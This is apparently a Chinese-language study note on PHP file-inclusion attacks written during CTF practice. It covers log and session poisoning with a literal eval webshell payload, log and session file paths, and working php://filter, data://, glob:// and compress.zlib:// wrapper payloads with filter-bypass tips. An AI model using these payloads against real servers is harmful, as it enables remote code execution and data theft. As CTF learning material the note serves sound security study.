文件包含
直接来说就是包含一个文件,这个文件有后门代码,就可以shell连上去
所以文件包含的重点就是怎么搞到一个有后门的文件,这就需要一些方法
一.文件上传
上传一个文件在服务器上,直接利用(真的能够有实际作用吗)
二.日志写入,
没有文件的时候,可以通过在服务器的日志中做点手脚,不过服务器系统分为Apache和Nginx,不同的日志有不同的操作路径
apache一般是/var/log/apache/access.log。:
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log
当你在服务器中执行过任何操作的时候,日志就会记录下来,可以通过写后门,举个例子http://127.0.0.1/php/1.php?page=<?php @eval($_POST\[123\]);?>
虽然执行失败,但是日志里仍然保留了这次操作,所以文件包含日志,执行后门
当然,方法很多,bp啥的更好用,只要日志留下后门就好
三.session
和日志写入一个原理利用php终端session .upload功能作为跳板,当然,要知道session的路径。先说session,Session指的是一段时间内,单个客户端与Web服务器的一连串相关的交互过程。
而常见的session路径:
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
原理简单,在session中写入后门,找到session的存储位置,文件包含,不过实际利用起来应该麻烦的多
文件包含的各种协议
之前记录了一些
file://协议
,用来读取本地文件的,当做的题的时候需要读取本地文件源码时用上,如NIzhuang第二层过滤,举例
/?file=php://filter/read=convert.base64-encode/resource=useless.php
以base64形式回显useless.php的源码内容
php://filter可以自己套协议,当做到题的时候遇到过滤字符或者必需某个字符的时候,可以在其中加上/xxx/ ,不影响执行
data://协议
我理解为写入东西,正式解释为data:// 可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数,或者执行命令,举例
?text=data://text/plain,welcome to the zjctf
将字符串写入到text中,被过滤时可以用base64编码上传,即
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
(执行的<?php system(‘cat flag.php’);?>)
?file=data:text/plain,<?php system(‘cat flag.php’);?>
,如果php被过滤,可以用短命令去掉php,或者大小写pHp,再或者base64
php://协议
还不太明白,可以用来访问各个输入/输出流(正式解释)常用为php://filter和php://input
php://filter用于读取源码。
php://input用于执行php代码
正在研究https://blog.csdn.net/m0_46467017/article/details/126380415中的说明,等后面做题再看吧
glob:// /*协议
web72新接触的,例子
c=?><?php $a=new DirectoryIterator(“glob:///*”);foreach($a as $f){echo($f->__toString().’ ‘);}exit(0);?>
执行了一个php语句。首先glob查找根目录下的所有目录(glob:// /*这样更加清楚些)。然后循环执行并输出给$f,在输出$f。
可以绕过一些过滤来读取文件名
zlib:// 伪协议,web113新发现的
当filter被屏蔽时使用这个
file=compress.zlib://flag.php
tips:二次元真可怕